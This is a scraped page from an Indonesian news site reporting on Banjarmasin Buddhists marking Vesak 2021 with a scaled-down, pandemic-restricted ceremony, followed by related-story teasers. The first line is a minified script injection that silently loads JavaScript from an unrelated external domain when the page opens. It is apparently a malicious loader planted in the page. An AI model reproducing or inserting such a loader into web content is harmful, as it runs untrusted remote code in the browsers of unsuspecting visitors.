(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Memperingati Hari Raya Waisak yang jatuh pada Rabu (26/5/2021), umat agama Budha di Banjarmasin melakukan pembacaan ayat sebelum memasuk upacara puncak malam ini.
Upacara Waisak merupakan moment dimana umat agama Budha untuk merenung tentang kehidupan yang telah dilaluinya.
Sarwa Dharma, Pandita umat agama Budha Banjarmasin mengatakan, sama seperti tahun yang sebelum, pelaksanakan upacara peringatan Hari Raya Waisak dengan sederhana, karena kondisi masih dilanda pandemi.
“Yang penting inti dari peringatan Waisak itu sendiri tersampaikan. Karena pada dasarnya Hari Raya Waisak itu sendiri bukan lah pesta ataupun keramaian, melainkan renungan,” ujarnya.
Baca juga: Aksi Solidaritas Peduli Palestina, Relawan HSU Salurkan Donasi Rp 547Juta
Ia juga mengatakan, saat peringatan Hari Raya Waisak ini, umat agama Budha akan melakukan Puja Bakti Waisak.
“Yang dalam hal tersebut, kita umat agama Budha akan melakukan meditasi,” katanya.
Puja Bakti Waisak akan dilakukan pada sore hari hingga menjelang detik Waisak nanti.
“Jadi sebelum itu, dari pagi kita sudah melakukan pembacaan ayat dan juga melakukan penghormatan dengan cara mengelilingi patung Budha sebanyak 3 kali, dengan membawa dupa, bunga dan lilin,” ucapnya.
Mengingat masih dalam masa pandemi, peringatan Hari Raya Waisak hanya dilakukan secara sederhana dan juga pembatasan untuk umat yang hadir dalam peringatan tahun ini.
“Sama seperti tahun kemarin, kita juga membatasi umat yang datang, agar tidak terjadi penyebaran virus Covid-19, dan tentunya umat yang hadir juga wajib sesuai dengan prokes yang sudah dianjurkan,” tutur.
Disamping itu, Pandita juga mengungkapkan, kalau Waisak tahun ini juga sama seperti sebelumnya, walaupun bersamaan dengan momen gerhana bulan.
“Sebenarnya bagi kami umat Budha itu merupakan hal yang biasa, karena sudah sering terjadi hal seperti ini sebelumnya. Karena kejadian ini merupakan bagian dari hukum Dharma,” beber Pandita.
“Selain itu juga, untuk upacara pun tidak ada hal-hal yang khusus atau berbeda yang berkaitan dengan moment gerhana bulan ini,” tambah Pandita.
Baca juga: Ini Kata Sekda Banjarmasin Soal Refocusing Anggaran Covid-19
Pandita juga mengimbau kepada seluruh umat agama Budha yang sedang merayakan Hari Raya Waisak, baik yang ikut upacara di wihara ataupun tidak, agar tetap menjaga kesehatannya dan juga tetap menerapkan prokes yang berlaku.
“Walaupun kita merayakan hari raya Waisak, tapi kita juga tetap harus menjaga diri kita dan juga orang lain. Dan yang poastinya agar tidak terjadi klaster yang baru lagi,” pungkas Pandita.
(kanalkalimantan.com/tius)
Reporter: tius
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Lima orang aktivis penyeru hak demokrasi mendatangi kantor Komisi Pemilihan Umum (KPU)… Read More
Dahtiar: Yang Dihitung Suara Sah Saja Nanti, Karena Bukan Mekanisme Kotak Kosong Read More
KANALKALIMANTAN.COM, MARTAPURA - Sekretaris Bappedalitbang Kabupaten Banjar, Hanafi, membuka rapat dengan agenda Pembahasan Proses Bisnis… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dikira tertidur, seorang lelaki pengayuh becak ditemukan meninggal dunia di Jalan A… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah di depan mata. Masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan ekplorasi dan penilaian… Read More
This website uses cookies.